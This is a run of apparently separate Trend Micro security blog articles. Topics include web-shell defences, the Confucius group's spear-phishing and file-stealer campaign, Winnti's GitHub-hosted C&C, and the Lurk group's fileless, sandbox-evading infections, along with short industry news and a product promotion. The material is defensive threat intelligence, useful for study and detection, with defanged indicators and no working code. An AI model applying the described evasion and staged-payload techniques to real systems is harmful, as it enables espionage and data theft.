Attackers will work to identify vulnerable applications used in systems to exploit them and install web shells for remote code execution or data exfiltration.
We provide some security recommendations to ensure that enterprises and organizations can defend against web shell attacks:
Patch your systems and applications.
Ensure proper vulnerability patches are applied for public-facing applications, such as Apache Tomcat, Oracle Web Logic Server, Microsoft Exchange Server, and PHPMyAdmin.
Implement strong passwords.
Do not use the same password for multiple applications or websites.
Use multi-factor authentication whenever possible and regularly update it.
Check for static keys in the IIS web.config file.
As observed on CVE-2020-0688, the use of static keys — as opposed to randomly generated keys — can allow an attacker to execute arbitrary code by tricking the server into deserializing ViewState data.
Enterprises and organizations should have comprehensive and efficient protection, detection, prevention, and remediation based on real-time, higher-confidence alerts to protect critical data and operations from sophisticated attacks and threats.
A consolidated view of all security sensors provides a single-pane-of-glass view that will promote quick and thorough investigation and response.
Trend Micro Solutions
Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making faster connections to identify and stop attacks.
Powerful artificial intelligence (AI) and expert security analytics correlate data from customer environments and Trend Micro’s global threat intelligence to deliver fewer, higher-fidelity alerts, leading to better, early detection.
One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.
Indicators of compromise
Filename
Path
SHA-256
Detection
Notes
ss.exe
C:\temp\
ee63b49aca1495a170ea7273316385b606f3fd2df1e48e9f4de0f241d98bd055
HackTool.
Win32.CATLIKE.A
Vulnerability Scanner
LG.exe
C:\temp\
C:\hp\
5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9
HackTool.
Win32.JoeWare.A.
JoeWare Local Group Manipulation tool
LG.dat
C:\hp\
5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9
HackTool.
Win32.JoeWare.A.
JoeWare Local Group Manipulation tool
mpBD6D42.dat
C:\Users
C:\Perflogs
C:\hp
C:\temp
e9be71848d1faa0c41db4c6a1e901747d98fb0b3cca027f8be85ea5e339b75e3
HackTool.MSIL.Mimikatz.AF
Mimikatz
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The US Department of Energy (DOE) recently launched the Operational Technology (OT) Defender Fellowship.
Another milestone step from the Department in enhancing the US's critical infrastructure.
In collaboration with DOE's Idaho National Laboratory (INL) and the Foundation for Defense of Democracies' (FDD) Center for Cyber and Technology Innovation (CTTI), the OT Defender Fellowship hopes to expand the knowledge of primary US front-line critical infrastructure defenders.
Briolette also said that operation technology security managers play a vital role in keeping the core physical systems of the US's energy infrastructure running smoothly, especially during natural disasters, physical sabotage, and even nation-state cyberattacks.
Sharing cybersecurity knowledge to the private sector
The OT Defender Fellowship is a 12-month program for operational technology security managers in the US energy sector.
It will enable the program participants to engage with various cyber and national experts across the US government.
The program aims to also equip them with a better understanding of the strategies and tactics of the country's adversaries and how the US government cyber operations defend the nation.
The Fellowship aligns with the bipartisan recommendations of the congressionally mandated Cyberspace Solarium Commission (CSC).
King also explains that the CSC report supports operationalizing cybersecurity partnership with the private sector and remolding how the government works with the private sector.
King added that this DOE initiative will better protect the US from cyberattacks.
Tom Fanning, Chairman, President & CEO of Southern Company, says that national security greatly depends on the collaboration between private sector and the government.
To qualify for the fellowship, participants must be in a middle or senior management role in a US energy sector, with decision-making authority and oversight responsibility of operational technology systems.
They must also be nominated by their organization's leadership and commit to the requirements imposed by the program.
The participant must also be a US citizen and currently hold or be able to attain federal security clearance at the Secret or higher level, or be in a role that justifies application for Department of Homeland Security-sponsored private sector clearance.
For more information about the OT Defender Fellowship, visit https://inl.gov/otdefender/
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Introduction
While investigating the Confucius threat actor, we found a recent spear phishing campaign that utilizes Pegasus spyware-related lures to entice victims into opening a malicious document downloading a file stealer.
The NSO Group’s spyware spurred a collaborative investigation that found that it was being used to target high-ranking individuals in 11 different countries.
In this blog entry, we take a look at the lures used by the malicious actor and provide a short analysis of the file stealer used in the campaign, which was launched in early August.
The contents of the spear phishing email
The campaign involves a two-step attack.
During the first phase, an email without a malicious payload containing content copied from a legitimate Pakistani newspaper’s article is sent to the target.
The sender address, which is spoofed, impersonates the PR wing of the Pakistani Armed Forces (info@ispr.gov.pk).
Two days later, a second email — purportedly a warning from a Pakistani military about the Pegasus spyware — containing a cutt.ly link to a malicious encrypted Word document and the password for decryption will be sent to the target.
The sender address impersonates a service similar to that on the first email (alert@ispr.gov.pk).
Figure 1.
Spear-phishing email from early August.
Notice the insertion of logos from the Pakistani Army, Air Force, Navy, and PR department.
If the target clicks on either the link or on the “unsubscribe” link, it will download a Word document from the domain parinari[.
]xyz.
The emails are sent either from an ExpressVPN exit node in Pakistan, or from a mail server under the attacker’s control.
Examining the encrypted document containing macros
After entering the password mentioned in the message, a document containing macros is displayed on screen.
Figure 2.
Malicious document containing macros
If the victim enables macros, the malicious code will be loaded.
If the victim enters any phone number and clicks “SUBMIT,” the text field will be replaced by the message “Phone Number Not Found.”
Behind the scenes, a .NET DLL file named skfk.txt, which is filled with content found inside the “Comments” property of the document, is created in the temporary directory.
The file is then loaded in memory via PowerShell.
Stage 1 is a simple download & execute program.
It downloads an ASCII file from the same domain and converts it into binary before loading it on to the memory and jump to a dynamic function.
Stage 2 is also .NET DLL file that downloads a third file from parinari[.
]xyz, converts it from ASCII to binary, and then creates a scheduled task to load it.
Stage 3 is similar to stage 1, with the only change being the URL to retrieve the next stage.
Stage 4 is the final payload (analyzed in the next section).
it is never written in clear text to the file disk.
Figure 3.
File stealer loading scheme
It should be noted that most of the compilation timestamps of these DLL files have been modified by the attacker to a year in the far future (2060, 2099 …), and the server IP addresses are often hidden behind CloudFlare.
Analysis of the file stealer
The final payload is a .NET DLL file designed to steal documents and images with the following extensions:
File extension
Description
TXT
Text file
PDF
PDF file
PNG
Image file in PNG format
JPG
Image file in JPG format
DOC
Word document
XLS
Excel document
XLM
Excel document with macros
ODP
OpenDocument Presentation
ODS
OpenDocument Sheet
ODT
OpenDocument Text
RTF
Rich Text Format file
PPT
PowerPoint document
XLSX
Excel document
XLSM
Excel document with macros
DOCX
Word document
PPTX
PowerPoint document
JPEG
Image file in JPEG format
The “Documents,” “Downloads,” “Desktop,” and “Pictures” folders of every user are checked.
The DLL file also examines drives other than C:.
Figure 4.
Code showing the main function of the file stealer
When a file matching one of the listed extensions is found, its MD5 hash is calculated and compared to an exclusion list retrieved from the command-and-control (C&C) server pirnaram[.
]xyz.
If the hash is not listed, the file is sent via the C&C to a directory named after the concatenation of the machine name and the username.
The exclusion list is different for every machine name-username string.
Other campaigns
During our monitoring of Confucius, we came across a campaign delivering the same payload, using a different lure.
In this instance, the campaign impersonated the Pakistani Defense Housing Authority.
Again, this threat actor’s interest in military personnel is obvious.
Figure 5.
Spear-phishing email from early August
The lures used in an older campaign from April 2021 impersonated the Federal Board of Revenue.
There were minor differences in tools, tactics, and procedures: the malicious document was directly attached to the spear phishing email — still encrypted — and the decryption password was sent in a different email.
The first stage was also hidden in the “Comments” section.
However, the second stage contained the final payload, which was once again a file stealer with the exact same structure (a .NET DLL).
Instead of exfiltrating the files through PHP scripts, they were done via FTP server.
It should be noted that in some occasions, the threat actor sent spear-phishing emails from the domain name mailerservice[.
]directory which we attributed to the Patchwork threat actor in previous research.
We disclosed multiple links between Patchwork and Confucius threat actors in the past, so this came as no surprise to us.
The creative use of social engineering lures and how to defend against them
In our previous research, we already found Confucius, which is known for targeting Pakistan military for espionage purposes, employing multiple file stealers.
While the code quality of its payloads is not of the highest standard, this threat actor uses innovative techniques when crafting its malicious documents, such as  hiding malicious code in the comments section, or using encrypted documents to prevent automatic analysis.
Therefore, it’s highly likely that Confucius will continue to experiment and try out different kinds of social engineering lures in future campaigns.
Despite the variety of lures used by the threat actor, best security practices still apply to these attacks.
Users should always be wary and avoid clicking on any link or downloading any file from unsolicited emails or suspicious sources.
Red flags such as unusual sender domains or grammatical and spelling errors are also a sign that the email is malicious in nature, or at the very least, should be approached with proper security protocols in mind.
The following security solutions can also protect users from email-based attacks:
Trend Micro™ Cloud App Security – Enhances the security of Microsoft Office 365 and other cloud services via computer vision and real-time scanning.
It also protects organizations from email-based threats.
Trend Micro™ Deep Discovery™ Email Inspector – Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks.
Indicators of Compromise
Hashes of the malicious encrypted documents:
SHA256
Detection name
dacf7868a71440a7d7d8797caca1aa29b7780801e6f3b3bc33123f16989354b2
Trojan.W97M.CONFUCIUS.A
0f6bcbdf4d192f8273887f9858819dd4690397a92fb28a60bb731c873c438e07
Trojan.W97M.CONFUCIUS.B
508bcc1f3906f5641116cde26b830b43f38f9c68a32b67e03a3e7e3f920b1f4a
Trojan.W97M.CONFUCIUS.B
654c7021a4482da21e149ded58643b279ffbce66badf1a0a7fc3551acd607312
Trojan.W97M.CONFUCIUS.C
712172b5b1895bbfcced961a83baa448e26e93e301be407e6b9dc8cb6526277f
Trojan.
Win32.DLOADR.TIOIBELQ
URLs/Domains/IP Addresses
Server hosting malicious documents
parinari[.
]xyz
Server used for file exfiltration
pirnaram[.
]xyz
Domain names linked to other campaigns
pemra[.
]email
ispr[.
]email
fbr[.
]news
defencepk[.
]email
pakistanarmy[.
]email
pmogovpk[.
]email
mailerservice[.
]directory
file-dnld[.
]com
funtifu[.
]live
cnic-update[.
]com
cnic-ferify[.
]live
fbr-update[.
]com
download.fbr[.
]tax
support-team[.
]tech
api.priveetalk[.
]com
Sender email addresses
latest_info@fbr.news
notice@fbr.news
alert@fbr.news
thenewsinernational@mailerservice.directory
Tags
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Articles, News, Reports
Last July 20, 2021, the Department of Homeland Security’s (DHS) Transportation Security Administration (TSA) released its second security directive, requiring the owners and operators of TSA-designated critical pipelines to implement various protection against cyber attacks.
According to Alejandro N. Mayorkas, Secretary of Homeland Security, through the directive the DHS can better ensure that the pipeline sector takes the much-needed steps to protect its operations against cyber threats.
“Public-private partnerships are critical to the security of every community across our country and DHS will continue working closely with our private sector partners to support their operations and increase their cybersecurity resilience,” Mayorkas added.
This is the second directive the TSA issued to the pipeline sector this 2021, building on the initial Security Directive released on May 2021 following the ransomware attack on Colonial Pipeline by DarkSide.
The second directive requires critical pipeline owners and operators to implement specific mitigation measures to protect against ransomware attacks and other threats to IT and OT systems.
It also requires owners and operators to develop and implement a cybersecurity contingency and recovery plan as well as to conduct a cybersecurity architecture design review.
On the other hand, the May directive requires owners and operators to report confirmed and potential cybersecurity incidents to the Cybersecurity and Infrastructure Security Agency (CISA), assign a cybersecurity coordinator available 24/7, review current practices, and determine any gaps related to remediation measures, addressing cyber-related risks and report the results to TSA and CISA.
Aside from the new directives, it is also pertinent for pipeline operators and owners to keep up-to-date with the latest threats and risks related to smart factories.
Stakeholders must grasp their factory’s current situation, set goals, and identify ways to fill such goals alongside their current skills gap.
Moreover, best practices must be considered and implemented to keep operations running.
To learn more about protecting smart factories, check out the following forward-looking research by Trend Micro:
Practical Risk Assessments for Smart Factories
Best Practices for Securing Smart Factories: Three Steps to Keep Operations Running
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Latest News
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Cyber Threats
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ICS OT
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APT & Targeted Attacks
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Articles, News, Reports
At the dawn of the Fourth of July weekend, Kaseya has been hit with a ransomware attack, as reported in the company’s own announcement.
Kaseya provides IT management software to mostly managed service providers (MSPs).
As a result, the attack not only impacted the MSPs, but also the customers that they served.
It even took a small town offline.
Thankfully Kaseya acted extremely quickly advising all Kaseya VSA on-premises users to shut down their servers until further instructions.
We believe this early directive hugely mitigated the impact of this attack.
Kaseya said the ransomware attack had “limited impact, with only approximately 50 of the more than 35,000 Kaseya customers being breached.”
But, as a MSP, customer’s trust is crucial which in turn will mean greater security scrutiny of the cybersecurity infrastructure you have in place.
You don’t want to be one of the 50 who got hit by a ransomware.
For MSPs working with Trend Micro, we have a very positive news.
Trend Micro Worry-Free endpoint security provides an effective first line of defense against the Kaseya ransomware through predictive machine learning and behavior monitoring capabilities.
The ransomware was effectively blocked before the IOCs were added to our backend detection pattern.
Trend Micro is also blocking several known malicious domain disease vectors associated with the ransomware campaign via Trend Micro Web Reputation Services (WRS).
The bottom line is that our layered approach is helping to prevent and protect our customers and our MSPs.
The Kaseya ransomware incident would definitely not be the last cyberattack toward MSPs as cybercriminals look to maximize their gains in the supply chain or infrastructure industries.
This is where we come in -- we want to help you to protect your house.
You need to make sure your business is protected.
We are offering all MSPs a free Not-For-Resale Worry-Free XDR License for internal use.
Worry-Free XDR includes cloud-based endpoint and email protection, EDR, and XDR.
In addition we will give you a 30-day use of a Security Operation Center as a Service solution and will allow you to receive:
Endpoint & Email security policy review and analysis
Best Practice Configurations
Assistance with enabling & configuring advanced XDR technologies
24x7 Monitoring and early threat containment
Incident response services
Remediation Assistance
Access to Security Analysts
In the 30 days evaluation period, our security analysts will help you set up recommended policies or review your existing policies, monitor your endpoints and email accounts 24x7, conduct proactive incident investigation, mitigate the threat such as quarantine emails (if authorized by you in advance), and provide a detailed report if an incident happens.
It’s a great opportunity to try our industry leading endpoint and email extended detection and response (XDR) and Managed XDR.
Act fast!
This offer ends September 30, 2021.
Just click the URL below for your region, sign up today for your free trial and allow us to help you protect your business.
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Articles, News, Reports
With additional analysis from Cyber Safety Solutions Team
Developers constantly need to modify and rework their source codes when releasing new versions of applications or coding projects they create and maintain.
This is what makes GitHub—an online repository hosting service that provides version control management—popular.
In many ways, it’s like a social networking site for programmers and developers, one that provides a valuable platform for code management, sharing, collaboration, and integration.
GitHub is no stranger to misuse, however.
Open-source ransomware projects EDA2 and Hidden Tear—supposedly created for educational purposes—were hosted on GitHub, and have since spawned various offshoots that have been found targeting enterprises.
Tools that exploited vulnerabilities in Internet of Things (IoT) devices were also made available on GitHub.
Even the Limitless Keylogger, which was used in targeted attacks, was linked to a GitHub project.
Recently, the Winnti group, a threat actor with a past of traditional cybercrime -particularly with financial fraud, has been seen abusing GitHub by turning it into a conduit for the command and control (C&C) communications of their seemingly new backdoor (detected by Trend Micro as BKDR64_WINNTI.ONM).
Our research also showed that the group still uses some of the infamous PlugX malware variants—a staple in Winnti’s arsenal—to handle targeted attack operations via the GitHub account we identified.
Malware Analysis
The malware we analyzed is separated in two files: a loader, and the payload.
The loader, named loadperf.dll, is a modified version of its legitimate, similarly named counterpart—a Microsoft file which helps manipulate the performance registry.
An extra component has been added to its sections.
It copies itself on %WINDIR%\system32\wbem\ and replaces the original DLL.
It leverages the WMI performance adapter service (wmiAPSrv), a legitimate file in Windows that collects information related to system performance, to import the loader via services.exe.
The system also imports all related DLL files and includes the payload “loadoerf.ini”.
The infection chain includes an additional (albeit empty) function imported from loadoerf.ini, gzwrite64, which works as a fake Application Program Interface (API) that serves as the payload’s entry point.
Although gzwrite64 is imported by loadperf.dll, the payload’s main function is actually located in the DLLMain of “loadoerf.ini”.
Figure 1: Extra section .idata added to the original loadperf.dll
Figure 2: Extra imported function gzwrite64
The payload is a file named loadoerf.ini that contains decryption, run, and code injection functions.
When it is loaded by the system, DLLMain decrypts the payload via CryptUnprotectData.
Since the function highly depends on the actual “machine ID”, decryption on another machine that isn’t the original infected host is not viable, making malware analysis more difficult.
Figure 3: Part of the decryption function used in the payload
After decryption, partial code is run on the machine, which is then injected to svchost.exe (a key Windows component); payload is then loaded into memory.
Figure 4: Execution/infection flow of loadoerf.ini
How is GitHub abused?
Upon successful infection, the malware starts communicating with an HTML page from a repository stored in a GitHub project.
Figure 5: GitHub account hosting an HTML page used for C&C communication
Any malware threat analyst will immediately recognize Line 3 in the image above as a potential PlugX-encrypted line.
The beginning and end markers, DZKS and DZJS, are typical in PlugX.
A closer look, however, shows that the decryption algorithm is different from PlugX.
In this case, decrypting them reveals references to its actual command and control (C&C) server: an IP address and a port number the malware will connect to.
Winnti currently uses different encryption algorithms to store those C&C references in the files they stored on Github.
Among them is an algorithm utilized by PlugX.
In fact, we found references to PlugX in the C&C strings we analyzed, indicating that the group may also be using the same backdoor in this particular campaign.
Although we were unable to find a PlugX sample through that particular GitHub, we surmise some PlugX variants in the wild use this GitHub repository to get their C&C information.
Nearly all the other algorithms used in this GitHub campaign are derived from the original PlugX algorithm:
PlugX style + shift string + Base64
PlugX style + shift string + Base64 + XOR
PlugX style + Base64 + XOR
One algorithm is also built in mark strings + shift string + Base64 encoding.
Following Winnti's Trails
The GitHub account used by the threat actor was created in May 2016.
It created one legitimate project/repository (mobile-phone-project) in June 2016, derived from another generic GitHub page.
The repository for Winnti’s C&C communications was created on August 2016.
We surmise that the GitHub account was not compromised, and instead created by Winnti.
By March 2017, the repository already contained 14 different HTML pages created at various times.
Timeline of the Campaign
We mapped Winnti’s activities for this campaign by analyzing the dates exposed in GitHub.
For each file, GitHub stores first-and-last commit timestamps; these enabled us to create a timeline of the first use of the group’s many C&C servers.
We monitored the period during which IP addresses were found connecting to Winnti’s C&C servers and found that they started their operations in the afternoon up to late evening.
The timetable resembles traditional working hours for cybercriminals, compared to those with less structure who prefer starting their days late, but also working until very late hours.
In fact, we only observed one instance of activity during the weekend, where a new HTML file was created.
The earliest activity we tracked on the GitHub account was from August 17, 2016, with the most recent in March 12, 2017.
Here is a timeline of when the C&C server’s IP addresses were first used, based on our monitoring:
Figure 6: Timeline of the C&C server’s IP addresses
C&C Servers
The GitHub account used by Winnti shows 12 different IP addresses, with various port numbers used for them.
All communication to these C&C servers are done on three different port numbers: 53 (DNS), 80 (HTTP), and 443 (HTTPS).
These are typical techniques PlugX and Winnti malware variants use to communicate between compromised machines and their C&C servers.
Nearly all the C&C servers are hosted in the U.S., while two are located in Japan.
C&C Server's IP Address
Port Number
160[.]16[.]243[.
]129
443 (HTTPS)
160[.]16[.]243[.
]129
53 (DNS)
160[.]16[.]243[.
]129
80 (HTTP)
174[.]139[.]203[.
]18
443 (HTTPS)
174[.]139[.]203[.
]18
53 (DNS)
174[.]139[.]203[.
]20
53 (DNS)
174[.]139[.]203[.
]22
443 (HTTPS)
174[.]139[.]203[.
]22
53 (DNS)
174[.]139[.]203[.
]27
53 (DNS)
174[.]139[.]203[.
]34
53 (DNS)
174[.]139[.]62[.
]58
80 (HTTP)
174[.]139[.]62[.
]60
443 (HTTPS)
174[.]139[.]62[.
]60
53 (DNS)
174[.]139[.]62[.
]60
80 (HTTP)
174[.]139[.]62[.
]61
443 (HTTPS)
61[.]195[.]98[.
]245
443 (HTTPS)
61[.]195[.]98[.
]245
53 (DNS)
61[.]195[.]98[.
]245
80 (HTTP)
67[.]198[.]161[.
]250
443 (HTTPS)
67[.]198[.]161[.
]250
53 (DNS)
67[.]198[.]161[.
]251
443 (HTTPS)
67[.]198[.]161[.
]252
443 (HTTPS)
Figure 6: IP addresses used for C&C communication, and the port numbers they use
We have privately disclosed our findings to GitHub prior to this publication and are proactively working with them about this threat.
Conclusion
Abusing popular platforms like GitHub enables threat actors like Winnti to maintain network persistence between compromised computers and their servers, while staying under the radar.
Although Winnti may still be employing traditional malware, its use of a relatively unique tactic to stay ahead of the threat landscape’s curve reflects the increased sophistication that threat actors are projected to employ.
Related Hashes (SHA256) detected as BKDR64_WINNTI.ONM:
06b077e31a6f339c4f3b1f61ba9a6a6ba827afe52ed5bed6a6bf56bf18a279ba — cryptbase.dll
1e63a7186886deea6c4e5c2a329eab76a60be3a65bca1ba9ed6e71f9a46b7e9d – loadperf.dll
7c37ebb96c54d5d8ea232951ccf56cb1d029facdd6b730f80ca2ad566f6c5d9b – loadoerf.ini
9d04ef8708cf030b9688bf3e8287c1790023a76374e43bd332178e212420f9fb — wbemcomn.ini
b1a0d0508ee932bbf91625330d2136f33344ed70cb25f7e64be0620d32c4b9e2 — cryptbase.ini
e5273b72c853f12b77a11e9c08ae6432fabbb32238ac487af2fb959a6cc26089 — wbemcomn.dll
Tags
Malware
|
APT & Targeted Attacks
|
Endpoints
|
Research
By Fyodor Yarochkin and Vladimir Kropotov (Senior Threat Researchers)
Fileless infections are exactly what their namesake says: they're infections that don't involve malicious files being downloaded or written to the system’s disk.
While fileless infections are not necessarily new or rare, it presents a serious threat to enterprises and end users given its capability to gain privileges and persist in the system of interest to an attacker—all while staying under the radar.
For instance, fileless infections have been incorporated in a targeted bot delivery, leveraged to deliver ransomware, infect point-of-sale (PoS) systems, and perpetrate click fraud.
The key point of the fileless infection for the attacker is to be able to evaluate each compromised system and make a decision whether the infection process should continue or vanish without a trace.
The cybercriminal group Lurk was one of the first to effectively employ fileless infection techniques in large-scale attacks—techniques that arguably became staples for other malefactors.
A typical Lurk infection uses browser exploits to deliver non-persistent payloads to potential victims, probing their targets before deploying additional malware.
The infection chain had multiple stages, and was accomplished using bodiless/fileless exploit payloads executed in-memory without additional persistence mechanisms.
No traces were left on affected systems apart from files from the exploit process if the target machine wasn’t interesting to the Lurk operators.
This eponymous lurking behavior would earn them notoriety until their operations were stymied and the perpetrators arrested.
Nine more suspected members of the group were arrested by Russia's Ministry of Internal Affairs on February 8.
Lurk was believed to have siphoned over $45 million from financial organizations, ultimately disrupting the victims' operations, reputation, and bottom line.
How did Lurk evolve from a clique of threat actors to a full-fledged cybercriminal group?
What other techniques were they known for—that other cybercriminals emulated?
How did their operations shift from targeting Russian end users to banks and enterprises?
Our observations of the group were based on code artifacts we analyzed as well as network traffic and URL patterns our intrusion detection systems monitored within several organizations in the Russian Internet segment during Lurk’s five-year campaign.
2011 to early 2012: Humble Beginnings?
Lurk’s web-based attacks were the first signs of their campaigns.
The group already implemented certain mechanisms to prevent AV detection.
Requests during a time period or from a source IP address that didn’t match their preferred distribution area, for instance, would yield a redirect to a third-party site such as Google.
Lurk compromised systems by exploiting web browser vulnerabilities via drive-by download attacks.
Malicious iframe content was injected to high-profile Russian websites, which then served as watering holes to attack unsuspecting end users.
Malvertising and poisoning of content-serving application components, such as memcached cache poisoning, were also part of their traffic redirection methods.
Stealth was already a fixture in their operations.
Before additional malware was served to a victim, the victim machine was first verified and validated with a bodiless payload (executed in memory) that collected information from the compromised machine.
During this time we developed URL-based signatures and used them to detect Lurk-related network traffic.
The signature pattern ^[A-Z0-9]{4}$ was particularly effective in detecting URL patterns employed by Lurk from 2011 to 2013.
The average TTL (Time To Live - the period of time these signatures were effective) for these signatures was two to three months.
The validity time of the signatures also allowed us to identify the group’s software upgrade cycles.
Mid-2012 to mid-2014: Honing the Craft
Lurk was most prolific during this period, with its series of URL redirection campaigns in Russia becoming more extensive.
High-profile and high-volume websites were used as intermediate platforms for diverting unknowing visitors to their exploit kit, known as XXX.
Lurk also targeted programmatic advertising infrastructures to increase the scale of their operations.
In February 2012, for instance, the ad server of news agency RIA Novosti, ria[.
]ru, was found serving iframe redirects to Lurk’s systems.
The campaign delivered the actual payload only to a select range of IP addresses.
By August 2012, we were able to observe sequences of HTTP requests during and after infection, including command and control (C&C) communication from compromised machines.
When 2014 rolled in, Lurk started exhibiting some patterns similar with the Angler exploit kit.
For example, Lurk increasingly used indexm[.
]html as their landing URL pattern; this would also shortly appear in one of Angler’s payloads.
Figure 1.
Exploit loading sequence in ria[.
]ru (February 2012)
Figure 2.
[bg].ru (February 2012) found redirecting victims to Lurk’s exploit kit
Figure 3.
Redirects to the Lurk landing page from adfox[.
]ru banner network
Figure 4.
Malicious iframe content served by tks[.
]ru (August 2013)
Lurk’s transition from simple web-browser-exploiting crooks to organized cybercriminals also stood out.
Range and frequency were added to their operations.
Serving criteria were often modified, malicious payloads were often updated.
While Lurk only exploited a certain set of browser vulnerabilities, the exploit code also often changed.
Larger payloads (in number of bytes) typically translated to more functionality being embedded in them, while a smaller change indicated a repacked payload.
True to its namesake, Lurk developed techniques to evade sandbox-based detection.
Aside from serving malicious content only once per IP address, the group limited the range of IP addresses to a subset of targets of interest.
Payload execution was done in multi-tier, chained fashion, and only components delivered at later stages had persistence mechanisms.
The initial bodiless payload was designed to be triggered by the exploit kit shellcode, which performed routine checks in the infected machine.
It would then call back to the group’s C&C server in the form of a Windows executable that, in turn, performs another analysis of the affected system and collected system information, such as installed software packages and their versions, operating system information and so on.
This information was sent back to the C&C server which made decisions on what to do next.
This exhaustive scrutiny, along with the campaign’s objective, determines whether additional modules would be dropped to the system.
Sourcing samples from this was a challenge because the payload’s behavior was mostly influenced by the environment where it was executed.
Acquiring additional modules of the group’s malware, for instance, was nearly impractical if the exploit URLs were loaded in a sandboxed environment.
Malicious content were also often distributed during lunchtime (Moscow’s timezone), and in very short intervals.
We surmise this as their way to hide from automated scraping sandbox detection.
Geographical information of each visiting IP address was actively crosschecked against their regions of interest—Russia and the Commonwealth of Independent States (CIS).
Exploits were also served with higher frequency on certain days of the week: Fridays, and days before public holidays.
Lurk’s infrastructure also exhibited new capabilities.
Among them were distinct patterns used in the HTTP requests and hosting providers.
Based on the hosting providers they used and timing of their hosting migrations, we observed the group compromising websites of software distribution companies and tampered their software installation files.
Their attacks also exploited a number of vulnerabilities that included authentication portal bypass flaws in programmatic ad servers, and those in web servers and other web components.
The mechanisms of redirections were different for each intermediate victim.
Some included ad banner networks or actual sites—while the website content-serving component was poisoned in others.
2012
2013
2014
3dnews[.
]ru
3dnews[.
]ru
3dnews[.
]ru
adriver[.
]ru
adriver[.
]ru
adfox[.
]ru
akdi[.
]ru
adv[.]vz[.
]ru
auto[.
]ru
bg[.
]ru
aif[.
]ru
avtovzglyad[.
]ru
com[.]adv[.]vz[.
]ru
akdi[.
]ru
drive[.
]ru
fobos[.
]tv
gazeta[.
]ru
glavbukh[.
]ru
gazeta[.
]ru
glavbukh[.
]ru
inosmi[.
]ru
rian[.
]ru
infox[.
]ru
irr[.
]ru
newsru[.
]com
klerk[.
]ru
nalogoved[.
]ru
target-m[.
]ru
mn[.
]ru
news[.]mail[.
]ru
tks[.
]ru
newsru[.
]com
ria[.
]ru
torrogrill[.
]ru
rg[.
]ru
riarealty[.
]ru
tvrain[.
]ru
servernews[.
]ru
nk[.
]ru
uik-ek[.
]ru
slon[.
]ru
rusplt[.
]ru
ura[.
]ru
tks[.
]ru
smotri[.
]com
slon[.
]ru
topnews[.
]ru
sport[.]mail[.
]ru
vesti[.
]ru
tvrain[.
]ru
tks[.
]ru
vesti[.
]ru
utro[.
]ua
womanhit[.
]ru
Figure 5.
Lurk’s intermediate targets by year
2014 to 2016: Going Global
2014 was a significant year in Lurk’s history.
A number of high-profile, intermediate victims were still at their fingertips, giving them footholds into the user’s systems.
In a word, they were on a roll.
Why not go global to turn in more profit?
Most of the domains Lurk used during this time were purchased from third-party resellers and paid with WebMoney checks and other anonymous forms of payment available in Russia.
The activities we observed indicated dry runs of malicious injections in banner networks outside Russia and CIS.
In April, we saw Lurk using redirects via mail[.
]ru, possibly through malicious injections to its ad server content.
From June to September, Lurk’s landing pages hinted at the group migrating their infrastructure and readying a global campaign.
By the second half of the year, Lurk’s geographical distribution drastically changed.
Russian/CIS-based targets were now sparser, and victims within .ru domains were manually inspected.
Lurk then launched a new URL pattern that served payloads round-the-clock, eschewing pre-filtering of IP address locations in favor of targeting global IP addresses.
We observed systems from other countries connecting to IP addresses operated by Lurk, including Ukraine, U.S., China, Taiwan, Norway, Australia, United Kingdom, Japan, Sweden, Canada, Italy, and South Korea.
We cannot confirm, however, if these countries were actual Lurk targets.
While Lurk favored Java exploits that were used extensively from 2011 to 2012, Flash/swf content was introduced.
An obfuscated Flash file exploiting CVE-2013-5330 was spotted in December 2014.
It was delivered only if the victim’s source IP address (and time) met Lurk’s parameters—otherwise users received a 404 error response.
As mentioned earlier, the XXX Exploit Kit used by Lurk demonstrated several URL-serving patterns and fileless infection capabilities that would later be seen in Angler.
By early 2015, the difference in Lurk and Angler’s activities began to blur—many of their patterns, exploit techniques, and distribution volume overlapped.
Correlation via hosting IP addresses wasn’t very helpful, because Lurk and Angler were often seen hosted on the same service providers.
Lurk also employed dynamically generated domain names for their landing pages.
2016: Lurk’s Downfall
Lurk’s active compromise of financial institutions led to a series of enquiries that culminated in the arrest of over 50 individuals involved in its operations across Russia.
The ripple effect led other cybercriminal groups to lie low for the rest of the year.
Other exploit kits like Neutrino and Magnitude either shut down or went private.
By then, Angler’s activities already ceased.
Coincidence?
Based on the similarities of Angler and XXX’s exploit-serving URL patterns and malware delivery techniques (particularly their use of fileless infection) as well as shared infrastructure, we can construe a correlation of both their operations.
In a way, the rise and fall of Lurk also reflected the evolution of the threat landscape.
We can only predict the constant development of seemingly novel and unforeseen techniques for evading traditional security systems, which is exacerbated by how these can become commercially available to other bad guys.
Unfortunately, Lurk is just one of the many cybercriminal groups looking to profit from organizations and end users.
Best Practices
Lurk’s story demonstrates the aptitude of cybercriminals for honing in on specific victims and profiting from them.
Whether spying for profit, pilfering credentials, emptying bank accounts, or misinforming an unknowing public, bad guys will progressively develop attacks that can neuter traditional defenses.
These threats pose greater challenges to security and IT administrators in terms of how their organization’s perimeter can be secured.
A multilayered approach is key, along with security-minded practices: apply the latest patches, block malware-hosting sites, implement URL categorization, employ firewalls and IDSs, and foster a culture of security in the workplace.
Defense in depth should also be considered—there are no silver bullets, no single network defense tool that can be used to deal with these threats.
End-user systems can serve as main gateways for attackers, which is why hardening them is critical.
This includes whitelisting and monitoring suspicious applications and processes, as well as well applying least privilege principles on the systems.
The attack surface—which can come in the form of software packages (including their extensions and plugins) that can interact with untrusted components—must also be reduced.
Unused browser plugins and any functionality that lets browsers execute third-party code should be inspected and disabled.
In Lurk’s case, the group favored exploiting vulnerabilities in Flash and Java plugins for web browsers.
To mitigate intrusions, direct internet access to the organization’s internal network should be disabled, and users should be obliged to utilize application proxies instead when accessing external network resources.
This should be especially enforced for HTTP and HTTPS protocols that cybercriminals frequently leverage for their attacks.
URLs and URL content (i.e.
mime-types) should be stringently analyzed.
Likewise, all executable content should be considered with a grain of salt—especially if they’ve been downloaded from unknown sources.
Continuously monitoring the network for spikes of suspicious behavior—or those that may first appear as benign—can also help detect intrusion attempts.
For instance, a significant number of machines within the organization’s network suddenly attempting to resolve and connect to a domain name never observed before can indicate a network infection or exploit.
